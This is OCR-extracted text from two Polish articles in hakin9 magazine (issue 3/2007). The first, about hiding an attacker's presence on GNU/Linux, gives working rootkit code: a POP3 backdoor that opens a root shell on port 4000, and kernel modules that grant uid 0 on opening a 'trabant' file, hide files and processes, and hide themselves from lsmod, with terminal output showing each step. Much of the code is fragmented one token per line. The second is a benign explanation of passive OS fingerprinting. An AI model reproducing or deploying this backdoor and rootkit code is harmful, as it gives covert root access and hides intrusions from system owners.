
struct

task_struct

;

read_lock

tasklist_lock

);

for_each_process

(

)

{

(

pid

)

{

read_unlock

tasklist_lock

);

return

;

}

read_unlock

tasklist_lock

);

return

NULL

;

}

/* Funkcja sprawdza czy dany proces ma status 'HIDDEN' */

char

is_hidden

(

pid_t

pid

)

{

struct

task_struct

;

(

pid

)

return

;

/* Sprawdzamy czy istnieje proces o podanym pid */

((

new_find_task

(

pid

))

NULL

)

return

;

/* Sprawdzamy czy ma flagŕ PF_HIDDEN */

hakin9 Nr 3/2007

www.hakin9.org

Atak

Gdy nawiązane zostanie połączenie,
przekazujemy jego deskryptor jako
stdin, stdout oraz stderr do urucha-
mianego programu. W naszym przy-
padku jest to powłoka.

dup2(scli, 0);
dup2(scli, 1);
dup2(scli, 2);
execl("/bin/sh", "sh", "-i", NULL);

Żeby wszystko działało jak należy,
musimy jeszcze zdefiniować pole-
cenie, które aktywuje naszą funk-
cję. Dodajemy ją zatem do struktury

pop _ auth _ commands[]

static struct pop_command
pop_auth_commands[] = {
{"QUIT", pop_auth_quit},
{"USER", pop_auth_user},
{"PASS", pop_auth_pass},
{"HACK", pop_auth_hack},
{NULL, NULL}
};

Teraz, w momencie wpisania polece-
nia HACK, wywołana zostanie funk-
cja

pop _ auth _ hack()

Poniższy przykład pokazuje, jak

działa nasz backdoor:

(zim@hamas ~)$ nc 0 110
+OK
HACK
(zim@hamas ~)$

Po połączeniu się na port 110 serwe-
ra pop3 wpisaliśmy komendę HACK,
która ma uruchomić backdoora na
porcie 4000. Teraz łączymy się na
ten port, żeby uzyskać dostęp do
powłoki z uprawnieniami superużyt-
kownika.

(zim@hamas ~)$ nc 0 4000
(root@hamas /)$ id
uid=0(root) gid=0(root) euid=45(popa3d)
groups=45(popa3d)
(root@hamas /)$ whoami
root
(root@hamas /)$

Backdoor w kernelu

Znacznie skuteczniejszą metodą
na ukrycie tylnej furtki w systemie,
jest wykorzystanie w tym celu ją-

Listing 5b.

Realizacja zadań

((

flags

PF_HIDDEN

)

PF_HIDDEN

)

{

return

;

}

return

;

}

int

new_kill

(

pid_t

pid

int

sig

)

{

struct

task_struct

new_find_task

(

pid

);

(

NULL

)

return

ESRCH

;

/* Sprawdzamy jaki sygnał wysłano procesowi */

(

sig

SIGHIDE

)

{

/* JeÂli proces już jest ukryty - zdejmujemy status PF_HIDDEN */

((

flags

PF_HIDDEN

)

PF_HIDDEN

)

{

flags

PF_HIDDEN

;

}

/* JeÂli nie jest ukryty - ukrywamy */

else

{

flags

PF_HIDDEN

;

}

return

;

}

return

old_kill

)(

pid

sig

);

}

asmlinkage

int

new_getdents64

(

unsigned

int

void

dirent

unsigned

int

count

)

{

struct

linux_dirent64

orig

curr

;

struct

file

;

struct

super_block

;

struct

inode

;

int

len

;

char

ptr

;

char

proc

;

(

struct

linux_dirent64

dirent

;

((

fget

(

))

NULL

)

{

return

EBADF

;

}

/* Pobierz właściwy superblock dla danego katalogu */

f_dentry

d_sb

;

f_dentry

d_inode

;

/* Wczytujemy strukture katalogˇw */

old_getdents64

(

dirent

count

);

/* Spraw╝ czy jesteÂmy w /proc */

(

s_magic

PROC_SUPER_MAGIC

)

proc

;

(

)

{

fput

(

);

return

;

}

kmalloc

(

GFP_KERNEL

);

/* Sprawdzamy czy zaalokowano pami */

(

NULL

)

{

fput

(

);

return

;

}

/* Kopiujemy wczytaną strukturę */

(

copy_from_user

(

))

{

return

EFAULT

;

}

orig

;

ptr

(

char

;

/* Analizujemy wczytane dane */

while

(

ptr

((

char

orig

))

{

curr

(

struct

linux_dirent64

ptr

;

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

dra. Może to być np. przechwytywa-
nie wywołań otwarcia jakiegoś pli-
ku, sprawdzenie jego nazwy i jeśli
zgadza się ona z naszą, wymyślo-
ną wcześniej, moduł daje procesowi

uid=0

. Dla uproszczenia nie będzie-

my porównywać całości nazwy pli-
ku, sprawdzimy tylko, czy w nazwie
otwieranego pliku jest jakiś zdefinio-
wany ciąg znaków.

Zanim jednak przeanalizujemy

działanie takiego modułu, omówmy

kilka zmian, które zaszły w kernelu
2.6 względem kernela 2.4. Otóż de-
veloperzy jądra zmienili sposób do-
stępu do tablicy

sys _ call _ table[]

Nie jest już eksportowana i dostępna
z poziomu innych modułów, tak więc
aby zachować styl programowania
z jąder 2.4, należy najpierw zdobyć
adres tablicy

sys _ call _ table[]

Jest kilka sposobów na jego zdo-

bycie oraz wykorzystanie przy pro-
gramowaniu backdoorów. Jedną z
łatwiejszych metod jest pobranie ad-
resu tablicyz pliku System.map:

# grep sys_call_table /boot/System.map
c03a22a0 R sys_call_table
#

Teraz możemy go przypisać sta-
łej

SCT _ ADDR

, a stałą udostępnić w

zmiennej

sys _ call _ table

. W tej

chwili pozostaje tylko wywołać ma-
kro

EXPORT _ SYMBOL

void **sys_call_table;
static int __init m_init(void) {
sys_call_table = (void**)SCT_ADDR;
EXPORT_SYMBOL(sys_call_table);
return 0;
}

Listing całego modułu eksportują-
cego adres tablicy znajduje się na
Listingu 2. Po załadowaniu modułu
możemy sprawdzić, czy tablica jest
wyeksportowana. Przedstawia to Li-
sting 7. Jednakże zamiast stosować
dodatkowy moduł i eksportować ta-
blicę, wygodniej będzie napisać
funkcję, która wyszuka początek ta-
blicy i udostępni jej adres w module,
który ma podmienić określone wy-
wołanie systemowe. Funkcja ta prze-
szukuje przestrzeń adresową proce-
su, próbując trafić na adres wywoła-
nia systemowego

sys _ close

. Gdy je

znajdzie, może w dosyć prosty spo-
sób dotrzeć do adresu początku ta-
blicy sys_call_table, dzięki czemu
można zachować konwencję pro-
gramowania modułów znaną z ker-
neli 2.4.X. Funkcja opisana jest na
Listingu 3, prezentującym działanie
backdoora. Gdy mamy już dostęp do
tablicy syscalli, możemy przejść do
omawiania działania backdoora.

Listing 5c.

Realizacja zadań

len

curr

d_reclen

;

/* Jeżeli proces jest ukryty, nie pokazujemy go */

(

proc

is_hidden

(

new_atoi

(

curr

d_name

)))

{

)

{

len

;

(

struct

linux_dirent64

*)((

char

len

);

}

else

{

d_reclen

len

;

memset

(

curr

len

);

}

else

curr

;

ptr

len

;

}

/* Po przefiltrowaniu zwracamy dane do userspace */

(

copy_to_user

(

))

{

return

EFAULT

;

}

/* I zwalniamy zaalokowaną pamięć */

kfree

(

orig

);

fput

(

);

return

;

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_getdents64

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

new_getdents64

;

old_kill

sys_call_table

[

__NR_kill

];

sys_call_table

[

__NR_kill

]

new_kill

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

old_getdents64

;

sys_call_table

[

__NR_kill

]

old_kill

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 6.

Załadowanie modułu

#include

#include

#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

static

int

__init

m_init

(

void

)

{

(

__this_module

list

)

__this_module

list

__this_module

list

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

hakin9 Nr 3/2007

www.hakin9.org

Atak

Definiujemy najpierw poszukiwa-

ny ciąg znaków:

char *string = "trabant";

Następnie piszemy zmodyfikowa-
ną wersję wywołania systemowego

sys_open:

asmlinkage int new_open(const char
*pathname, int flag, int mod) {
if (strstr(pathname, string)) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->parent->uid = 0;
current->parent->gid = 0;
current->parent->euid = 0;
current->parent->egid = 0;
}
return (old_open(pathname, flag,

mod));

}

Sprawdzamy w nim, czy w zmiennej
pathname znajduje się ciąg znaków
zdefiniowany w zmiennej string. Jeśli
tak jest, ustawiamy uid/gid/euid/egid
bieżącego procesu oraz procesu-ro-

dzica na wartość 0. Uid procesu-ro-
dzica zmieniamy dlatego, że w przy-
padku gdy np. wydamy polecenie
cat trabant, bieżącym procesem, z
punktu widzenia jądra, jest program
cat, a nie powłoka z której wydaliśmy
to polecenie, tak więc to cat dosta-
nie

uid = 0

Kod całego modułu znajduje się

na Listingu 3. Kompilacja i użycie:

# cd listing3_file
# make
.
.
# insmod listing3_file.ko

Teraz sprawdzamy, czy nasz back-
door działa prawidłowo. Przestawia
to Listing 8.

Gdy znamy już sposoby tworze-

nia backdoora w kernelu, warto za-
poznać się z technikami ukrywania
swojej obecności.

Zacznijmy od ukrywania plików.

Można to zrobić na kilka sposobów
- analogicznie jak w przypadku wy-
woływania sys_open, można zmo-
dyfikować wybrane wywołanie sys-
temowe, aby nie pokazywało plików

Listing 7.

Po załadowaniu modułu możemy sprawdzić, czy tablica jest

wyeksportowana

# grep sys_call /proc/kallsyms
# insmod listing2_export_sct.ko
# grep sys_call /proc/kallsyms

e0957004

__ksymtab_sys_call_table

8423

[

listing2_export_sct

]

e0957010

__kstrtab_sys_call_table

8422

[

listing2_export_sct

]

e095700c

__kcrctab_sys_call_table

8421

[

listing2_export_sct

]

00000000

__crc_sys_call_table

[

listing2_export_sct

]

e0957600

sys_call_

table

[

listing2_export_sct

]

Listing 8.

Sprawdzamy, czy nasz backdoor działa prawidłowo

uid

1003

(

hacker

)

gid

1003

(

hacker

)

groups

1003

(

hacker

)

cat

trabant

cat

trabant

such

file

directory

uid

(

root

)

gid

(

root

)

groups

1003

(

hacker

)

Listing 9a.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

# touch _XXX_tego_pliku_nie_widac_

XXX_

# ls -la

total

drwx

------

zim

584

Nov

drwx

------

zim

360

Nov

root

211

Nov

built

cmd

root

334

Nov

listing4_

hidefile

cmd

root

11825

Nov

listing4_hidefile

mod

cmd

root

12134

Nov

listing4_

hidefile

cmd

drwxr

root

Nov

tmp_versions

zim

Nov

Makefile

root

Nov

Module

symvers

root

Nov

_XXX_tego_pliku_nie_widac_XXX_

root

Nov

built

-------

zim

3037

Nov

listing4_hidefile

root

4199

Nov

listing4_hidefile

root

898

Nov

listing4_hidefile

mod

root

2400

Nov

listing4_hidefile

mod

root

2388

Nov

listing4_hidefile

# insmod listing4_hidefile.ko
# ls -la

total

drwx

------

zim

584

Nov

drwx

------

zim

360

Nov

root

211

Nov

built

cmd

root

334

Nov

listing4_hidefile

cmd

root

11825

Nov

listing4_hidefile

mod

cmd

root

12134

Nov

listing4_hidefile

cmd

drwxr

root

Maskowanie obecności w GNU/Linux

z określonym uid/gid, albo zawiera-
jących w nazwie wcześniej zdefinio-
wany ciąg znaków. Jak działa w ker-
nelu samo listowanie katalogów?
Otóż realizowane jest ono zapośred-
nictwem wywołania systemowego

sys _ getdents64

, która za pośrednic-

twem VFS (Virtual File System), czy-
li swoistego interfejsu pomiędzy ob-
sługą systemu plików a środowiskiem
użytkownika, pobiera listę plików i ka-
talogów ze wskazanego katalogu i za-
pisuje je w strukturze

linux _ dirent64

Mogąc pisać swoje wywołania syste-
mowe, najprościej podstawić zamiast
oryginalnego

sys _ getdents64

, jego

zmodyfikowaną wersję. Modyfikacja
będzie podobna do tej z poprzednie-
go przykładu. Sprawdzimy czy da-
ny plik/katalog zawiera w nazwie ja-
kiś ciąg znaków i jeśli tak się stanie, to
pominiemy go przy wyświetlaniu wy-
niku polecenia ls.

Listing przedstawiający kompletny

moduł realizujący ukrywanie plików
przedstawiony jest w na Listingu 4.
Jego działanie prezentuje Listing 9.

Jak widać – plik stał się niewi-

doczny nawet dla roota. Oczywiście,
gdybyśmy chcieli wyświetlić ten plik
pytając bezpośrednio o niego (

ls -al

_ XXX _ tego _ pliku _ nie _ widac _
XXX _

pokaże go nam, bo w tym

przypadku system korzysta z wywo-
łania

sys _ open()

, które działa nor-

malnie. Gdybyśmy chcieli, aby i w ta-
kim przypadku plik był ukryty, należy
zmodyfikować wywołanie

sys _ open

aby - analogicznie jak w powyższym
przykładzie – sprawdzało nazwę pli-
ku i jeśli zawiera ona zadeklarowa-
ny ciąg znaków, wywołanie zwraca-
łoby

-ENOENT

My tego rozwiązania tutaj nie sto-

sujemy, bo uniemożliwiałoby nam to
korzystanie z plików, które są ukryte

Listing 9b.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

Nov

tmp_versions

zim

Nov

Makefile

root

Nov

Module

symvers

root

Nov

built

-------

zim

3037

Nov

listing4_hidefile

root

4199

Nov

listing4_hidefile

root

898

Nov

listing4_hidefile

mod

root

2400

Nov

listing4_hidefile

mod

root

2388

Nov

listing4_hidefile

hakin9 Nr 3/2007

www.hakin9.org

Atak

(np. jeśli ukrywamy logi ze sniffera, nie
było by możliwe ich późniejsze otwar-
cie ani do zapisu ani do odczytu). Przy
modyfikowaniu

sys _ open

warto zmo-

dyfikować też

sys _ stat

, inaczej ls nam

pliku nie pokaże, ale zrobi to stat.

Jak do tej pory wszystko by-

ło fajne i ciekawe. Mamy backdo-
ory, umożliwiające uzyskanie

uid=0

ukrywamy pliki, ale nadal widocz-
ne są nasze procesy. Je też moż-
na łatwo schować - na przykład po-
przez ustawianie procesom konkret-
nej flagi.

Można to zrobić przechwytując

wywołanie systemowe sys_kill, dzię-
ki któremu, wysyłając procesowi od-
powiedni sygnał, ustawimy mu naszą

flagę. Gdy proces odróżnia się już od
innych, należy zrobić coś, aby proce-
sów z określoną flagą nie było widać.
To z kolei można osiągnąć poprzez
inną modyfikację wywołania

sys _

getdents64()

, które jest wykorzysty-

wane do przeglądania listy proce-
sów (poprzez system plików procfs
zamontowany w /proc). Jak to osią-
gnąć? Na początek wybieramy sobie
dowolny konkretny sygnał - najlepiej
taki, który nie będzie wykorzystywa-
ny. Ja wybrałem 64. Jako flagę bę-
dziemy ustawiać

0x10000000

W Listingu 5 przedstawiłem kom-

pletny moduł, który realizuje powyż-
sze zadania. Tradycyjnie – kompilu-
jemy i ładujemy moduł:

Aby wysłać sygnał do procesu

potrzebny będzie nam osobny pro-
gram (kill nie wyśle sygnału o nu-
merze wyższym niż zdefiniowane 1
– 63). Przedstawia to Listing 10. Te-
raz wybierzmy proces do ukrycia,
może xmms? (Listing 11).

Ponowne wysłanie procesu zno-

wu czyni go widocznym. Zatem mo-
duł działa prawidłowo.

Teraz dwie bardzo istotne rzeczy.

Dzieci procesu ukrytego są widocz-
ne, oraz same moduły są widoczne.
Pierwszy problem jest bardzo łatwy
do rozwiązania – wystarczy tak zmo-
dyfikować

sys _ fork()

, aby spraw-

dzało czy proces jest ukryty (jest do
tego funkcja

is _ hidden()

w module

hideproc

) i jeśli jest, to konieczne jest

ustawienie mu flagi

PF _ HIDDEN

. Drugi

problem również nie jest taki znowu
trudny do rozwiązania. Wystarczy
w strukturze

'struct module'

ostat-

nio załadowanego modułu, zmienić
wskaźnik

'next'

, aby wskazywał na

moduł jeszcze wcześniej załadowa-
ny. Realizuje to moduł z Listingu 6.
Po jego kompilacji możemy go zała-
dowć tak jak na Listingu 12. Jak wi-
dać – moduł hideproc zniknął.

Tak więc potrafimy już stworzyć

backdoora, który bez pozostawia-
nia żadnych śladów da nam

uid = 0

Potrafimy ukrywać pliki oraz proce-
sy, a także ukrywać moduły załado-
wane do jądra systemu. Połączenie
tych kilku modułów w jeden pozosta-
wiam do wykonania Wam, jako pra-
cę domową. l

Listing 10.

Wysyłanie sygnału do procesu

# cat > newkill.c
#include
#include

int

main

(

int

argc

char

argv

[])

{

int

pid

sig

;

(

argc

)

exit

(

);

sig

atoi

(

argv

[

]);

pid

atoi

(

argv

[

]);

kill

(

pid

sig

);

exit

(

);

}

# gcc -o newkill newkill.c
#

Listing 11.

Wybieramy proces xmms? do ukrycia

# ps aux|grep xmms

zim

4703

0.2

1.4

46640

7452

Ssl

xmms

root

5596

0.0

1648

500

tty2

grep

xmms

# ./newkill 64 4703
# ps aux|grep xmms

root

5605

0.0

1648

504

tty2

grep

xmms

#
# ./newkill 64 21971
# ps aux|grep xmms

zim

4703

0.2

1.5

47532

7936

Ssl

xmms

root

5608

0.0

1648

504

tty2

grep

xmms

Listing 12.

Kompilacja modułu z Listingu 6

# lsmod|head -4

Module

Size

Used

Tainted

listing5_hideproc

2888

printer

6720

(

unused

)

usb

uhci

21100

(

unused

)

# insmod listing6_hidemodule.ko && rmmod listing6_hidemodule
# lsmod|head -4

Module

Size

Used

Tainted

printer

6720

(

unused

)

usb

uhci

21100

(

unused

)

www.hakin9.org

hakin9 Nr 3/2007

Atak

est to możliwe dzięki małym różnicom
pomiędzy implementacjami protokołów
na różnych systemach i urządzeniach.

Fakt ten umożliwia ich odróżnienie, a nawet
zdobycie wielu ciekawych informacji, co z kolei
pozwala ustalić nazwę i wersję systemu.

OS fingerprinting ogólnie

Rozpoznawanie systemów operacyjnych mo-
że być prowadzone na poziomie popularnych
protokołów TCP, UDP oraz ICMP. My zaj-
miemy się jedynie jednym z nich, a miano-
wicie TCP, ponieważ umożliwia on uzyskanie
największej ilości informacji ze względu na
złożoną budowę nagłówka pakietu TCP/IP.
Ogólnie pojęty OS fingerprinting ma wiele za-
stosowań:

• szybkie rozpoznawanie ofiar lub potencjal-

nych intruzów;

• określanie budowy sieci;
• monitorowanie sieci oraz jej użytkowników;
• zaspokojenie zwykłej ludzkiej ciekawości.

Z pewnością każda osoba, która używała ska-
nera nmap zna opcję

-O

, której zadaniem jest

przeprowadzenie testów w celu określenia na-

zwy i wersji systemu. nmap wysyła szereg pa-
kietów i analizuje odpowiedzi skanowanej ma-
szyny. Jest to fingerprinting aktywny, który w
przeciwieństwie do pasywnego wymaga wy-
słania pakietów w stronę skanowanej maszy-
ny. Z tego powodu typowa sesja nmap może
zostać z łatwością wykryta (charakterystyczna
budowa pakietów) przez odpowiednie narzę-
dzia, co umożliwia także zabezpieczenie się
przed tym skanerem.

Pasywne rozpoznawanie

systemów operacyjnych

Marcin Ulikowski

stopień trudności

Zdalne rozpoznawanie systemów operacyjnych (ang. OS

fingerprinting) to działanie, które ma na celu ustalenie jaki system

jest zainstalowany na maszynie, do której mamy jedynie zdalny

dostęp.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP;

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP;

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie;

• znajomość elementów nagłówka IP oraz TCP.

Pasywne rozpoznawanie systemów operacyjnych

hakin9 Nr 3/2007

www.hakin9.org

Pasywna odmiana fingerprin-

tingu ma wiele zalet w stosunku do
aktywnej. Za największą możemy
uznać fakt, iż nie wymaga wysyła-
nia żadnych pakietów, co czyni ją
także niemożliwą do wykrycia. Na-
tomiast największą wadą mogą być
mniej precyzyjne wyniki, które są na-
stępstwem niedoboru informacji (pa-
kietów) i braku dwustronnego kon-
taktu ze zdalnym systemem. nmap
ma dostęp do większej ilości infor-
macji (na przykład kolejnych nume-
rów sekwencyjnych), ponieważ ana-
lizuje odpowiedzi na wysyłane przez
siebie pakiety i zwykle potrafi zdobyć
więcej danych o skanowanym syste-
mie. Jednak praktyka pokazuje, że
nie jest to aż tak wielka przewaga jak

się wydaje. Tabela 1 zawiera krótkie
porównanie aktywnego i pasywnego
fingerprintingu.

Budowa pakietu TCP/IP

Aby wiedzieć w jaki sposób zdal-
nie rozpoznać system operacyjny,
niezbędna będzie wiedza na te-
mat budowy nagłówków IP oraz
TCP. Analizując pakiety wysyłane
będziemy mogli odgadnąć nazwę
oraz wersje systemu na konkretnej
maszynie. Skupimy się na pakie-
tach wysyłanych podczas nawią-
zywania połączenia, czyli z usta-
wioną flagą SYN. Pakiety z tą fla-
gą zawierają największą ilość cha-
rakterystycznych informacji dla da-
nego systemu. Rysunek 2 zawiera
zapis programu tcpdump, który
przedstawia dwa pakiety wysła-
ne przez ten sam system podczas
nawiązywania połączenia (tzw.

three-way handshake – potrójny
uścisk dłoni).

Łatwo zauważyć, że obydwa

pakiety mają taką samą wielkość
oraz zawierają trzy pola o takiej
samej wartości. Zaznaczone pola
są charakterystyczne dla różnych
implementacji stosów TCP. Dzię-
ki ich analizie i porównaniu bę-
dzie możliwe określenie systemów
operacyjnych na zdalnych maszy-
nach. Wiemy już czego potrzebu-

jemy. Teraz dowiemy się jaką funk-
cję spełniają interesujące nas ele-
menty pakietu. Dowiemy się też
w jaki sposób możemy je wyko-
rzystać do odgadywania zdalnych
systemów.

Flagi IP

Jest to pole długości 4 bitów wy-
korzystywane przy fragmentacji
pakietów. Flaga Don't Fragment
(ang. nie dziel pakietów) to infor-
macja, że pakiet nie może ulec
fragmentacji, czyli nie może zo-
stać podzielony na mniejsze pakie-
ty podczas transmisji. Jest używa-
na przez systemy do wykrywania
optymalnego rozmiaru pakietu na
trasie pomiędzy dwiema maszyna-
mi. Jeśli jeden z routerów pośred-
niczących w transmisji nie zgodzi
się przekazać pakietu dalej, wy-
śle komunikat ICMP do nadawcy
z informacją, aby przesłał pakiet z
mniejszą ilością danych. Flaga DF
nie jest stosowana przez starsze
systemy (na przykład Linux 2.0,
czy nawet skaner nmap) co jest
dla nas cenną wskazówką.

Time to Live

Pole to może przyjmować warto-
ści od 0 do 255 (długość 8 bitów).
Jest zmniejszane za każdym ra-
zem, gdy pakiet jest przekazywa-

Tabela 1.

Wady i zalety aktywnego i pasywnego rozpoznawania systemów

Aktywny fingerprinting

Pasywny fingerprinting

Wymaga wysłania pakietów w stronę skanowanej ma-
szyny

Nie wymaga wysyłania pakietów

Umożliwia rozpoznanie systemu tylko na routerze

Umożliwia rozpoznanie systemu zarówno na routerze
jak i na maszynach za nim

Ograniczają go bardzo restrykcyjne firewalle (znikome
odpowiedzi na wysłane pakiety)

Nie ograniczają go firewalle, ponieważ pakiety dociera-
ją do nas w sposób naturalny np. podczas zwykłej sesji
FTP lub SSH

Bardziej precyzyjne wyniki (nie we wszystkich przypad-
kach)

Mniej precyzyjne wyniki

Możliwy do wykrycia, szczególnie, kiedy stosowane są
popularne narzędzia

Niemożliwy do wykrycia, całkowita anonimowość

Skąd biorą się różnice

między systemami

Specyfikacje, które pokazują jak proto-
koły sieciowe powinny być implemento-
wane zawarte są w dokumentach RFC
(Request For Comments). Jak można
się domyślić, różnice wynikają z błę-
dów człowieka (na przykład nie do-
czytanie specyfikacji lub jej błędne
zrozumienie), które są rzeczą natural-
ną i niemożliwą do całkowitego wyeli-
minowania. Błędy przytrafiają się twór-
com wszystkich systemów. Jednak nie
możemy całej winy zrzucić na autorów
systemów. Często różnice powstają w
wyniku nie zawarcia niektórych norm
w RFC, implementowania różnego ro-
dzaju ulepszeń, które nieco wykraczają
poza standard, lub są wynikiem błędów
programistycznych.

Rysunek 1.

Dwa pakiety SYN wysłane przez ten sam system

hakin9 Nr 3/2007

www.hakin9.org

Atak

ny przez router. Kiedy osiągnie ze-
rową wartość, pakiet zostaje odrzu-
cony z sieci, natomiast jego nadaw-
ca otrzymuje komunikat ICMP o
błędzie. Jest to konieczne, aby za-
pobiec krążeniu pakietów w nie-
skończonej pętli, w której jeden ro-
uter wysyła pakiet do drugiego, a
ten odsyła go z powrotem.

Prawie wszystkie systemy usta-

lają wartość początkową tego po-
la na 32, 64, 128 lub 255. Istnieją
także systemy, które wybierają in-
ne wartości jak np. Irix, który ustala
początkowy TTL na 60. Będziemy
otrzymywać pakiety, które przeby-
ły różne trasy dlatego oszacowanie

początkowego TTL wydaje się być
trudne. Jednak my wiemy, że prak-
tycznie nie występują pakiety, któ-
re przebyły drogę dłuższą niż przez
30 routerów. Dzięki temu możemy
założyć, że jeśli otrzymany pakiet z
TTL o wartości 44 (lub innej mniej-
szej od 64 i większej od 32) to mo-
żemy założyć, że wartością począt-
kową była liczba 64. Łatwo także
zauważyć, że skoro potrafimy usta-
lić wartość początkową TTL to po-
trafimy także określić odległość od
danej maszyny oraz określić, jakie
systemy mogły wysłać taki pakiet.
Systemy Windows ustawiają TTL
na 128, natomiast Linux oraz sys-

temy BSD ustawiają początkowy
TTL na 64. Jak widać, przy pomo-
cy tego jednego pola potrafimy po-
dać zakres systemów, które wysła-
ły dany pakiet.

Window

Rozmiar okna (ang. window) od-
zwierciedla maksymalną liczbę da-
nych, które mogą być wysłane bez
konieczności oczekiwania na po-
zytywne potwierdzenie. Umożliwia
zwiększanie szybkości z jaką prze-
syłane są dane. Podczas transmisji
danych rozmiar okna jest zmienia-
ny w celu optymalnego wykorzysta-
nia łącza.

Rozmiar okna jest dla nas in-

formacją najbardziej przydatną dla
ustalenia systemu na drugim koń-
cu kabla, ponieważ może przyjmo-
wać wartość maksymalną 65535
bajtów. Różne wersje tego same-
go systemu z reguły używają in-
nych rozmiarów okna w pakietach
TCP SYN. Przykładem może być
Windows 98, który ustawia rozmiar
okna na 8192 bajty oraz Windows
XP, który preferuje większy roz-
miar, najczęściej 64512.

Dodatkowe opcje TCP

Protokół TCP jest otwarty i moż-
na rozszerzać jego możliwości
dołączając dodatkowe opcje za

Protokół TCP/IP

TCP/IP to powszechnie używane po-
łączenie dwóch protokołów. IP to pro-
tokół warstwy sieci (zgodnie z mode-
lem OSI), co oznacza, że odpowia-
da za właściwe adresowanie i prze-
syłanie danych, ale zupełnie nie zaj-
muje się poprawnością samej trans-
misji. To zadanie należy do protokołu
niższego rzędu – TCP, należącego do
warstwy transportowej. Dlatego może-
my powiedzieć, że nagłówek IP znajdu-
je się nad nagłówkiem TCP w pakiecie.
Większość sieci komputerowych, a już
szczególnie Internet, jest heterogenicz-
na, co oznacza, że są w nich stosowa-
ne różne protokoły. TCP/IP to tylko je-
den z możliwych wariantów (inne to na
przykład UDP/IP czy ICMP/IP), choć
bardzo popularny.

Rysunek 3.

Schemat nagłówka IP oraz TCP

Rysunek 2.

Program p0f podczas pracy

Pasywne rozpoznawanie systemów operacyjnych

nagłówkiem. Wiele takich opcji zo-
stało zdefiniowanych w różnych
dokumentach RFC później niż sa-
ma specyfikacja protokołu TCP. Ze
względu na ich opcjonalne użycie
otrzymujemy kolejną możliwość
rozpoznania różnic w implementa-
cjach stosu sieciowego. Co więcej,
kolejność ustawienia opcji w pa-
kiecie oraz ich wartości są usta-
lane dowolnie przez systemy ope-
racyjne, co jest bardzo pomocne.
Poniżej zostało wymienionych kil-
ka opcji przydatnych w identyfi-
kacji:

• Maximum Segment Size (MSS)

– jak wskazuje nazwa, opcja
określa maksymalny rozmiar
segmentu TCP,

• Window Scale (Wscale) – służy

do zwiększenia rozmiaru okna do

wartości większych niż 64kB, co
pozwala na wydajniejsze przesy-
łanie danych w przypadku łącz o
dużej przepustowości,

• Selective ACK – opcja umożli-

wiająca wybiórczą retransmisję
zagubionych pakietów (zamiast
wszystkich począwszy od pierw-
szego, który nie dotarł do odbior-
cy) co pozytywnie wpływa na
szybkość transmisji,

• Timestamp – zawiera znacznik

czasu, często jest wykorzystywa-
na do oszacowania czasu działa-
nia systemu, który wysłał pakiet z
taką opcją,

• No Option (NOP) – pusta opcja

stosowana jako wypełniacz,

Kolejność ułożenia powyższych
opcji oraz ich wartości są bogatym
źródłem informacji o systemach.

Rozmiar pakietu

Całkowita długość pakietu inicjują-
cego połączenie także stanowi źró-
dło informacji. Najmniejszy możliwy
rozmiar to 40 bajtów. Jak wiemy pod
nagłówkiem TCP znajdują się do-
datkowe opcje rozszerzające moż-
liwości protokołu. Ilość dołączonych
opcji ma wpływ na końcowy rozmiar
pakietu, co z kolei stanowi informa-
cję o systemach generujących takie
pakiety. Przykładowo, starsze wersje
systemu Linux używały do nawiązy-
wania nowych połączeń TCP pakie-
tów o długości 44 bajtów. Natomiast
najnowsze generują pakiety SYN o
wielkości 60 bajtów.

Przykładowe

rozpoznanie

Spróbujmy wykorzystać świeżo zdo-
bytą wiedzę i przeanalizujmy przy-

Tabela 2.

Charakterystyczne wartości wybranych pół w pakietach TCP/IP dla poszczególnych systemów

operacyjnych

Nazwa systemu

TTL

Rozmiar okna

Flaga DF

Rozmiar pakietu

Linux 2.4

5840

ustawiona

Linux 2.0

512

brak

FreeBSD

65535

ustawiona

Windows 98

128

8192

ustawiona

Windows XP

128

64512

ustawiona

hakin9 Nr 3/2007

www.hakin9.org

Atak

kładowy pakiet, który otrzymaliśmy
używając narzędzia tcpdump:

15:27:01.255446 80.54.76.241.1026 >
80.54.10.76.80: S [tcp sum ok]
2222061320:2222061320(0) win
512 (ttl 61, id 29, len 44)

Oto informacje, które nas interesują:

• TTL (Time To Live) równe

;

• rozmiar okna wynosi

512

;

• flaga DF nie jest ustawiona;
• długość pakietu to

bajty.

Pierwszą rzeczą, na którą powinni-
śmy zwrócić uwagę jest brak flagi DF
(Don't Fragment). Możemy założyć,
że pakiet został wysłany przez jeden
ze starszych systemów np. Linux
2.0.x, OpenBSD 2.x czy Cisco IOS.
Wartość TTL zawiera się w przedzia-
le od 32 do 64, dlatego przyjmujemy,
iż początkowa wartość tego pola wy-
nosiła 64. Cisco ustawia początkowe
TTL na 255, dlatego możemy go wy-
kluczyć z listy potencjalnych syste-
mów. Pozostają nam systemy Linux
2.0.3x oraz OpenBSD 2.x. Rozmiar
okna 512 pozwala nam stwierdzić, że
poszukiwanym systemem jest Linux
2.0.3x, najprawdopodobniej popu-
larna mini-dystrybucja Freesco. Po-
twierdza to także długość pakietu.

Samodzielna analiza pakietów

jest skomplikowana i bardzo czaso-
chłonna. Na szczęście dla nas ist-
nieje narzędzie, które uczyni pasyw-
ne rozpoznawanie systemów łatwym
i przyjemnym.

Oprogramowanie

Jednym z narzędzi wykorzystywa-
nych do pasywnego fingerprintingu
jest program p0f, który do działania
wymaga popularnej biblioteki pcap.
Jego funkcjonalność została wyko-
rzystana w filtrze pakietów z syste-
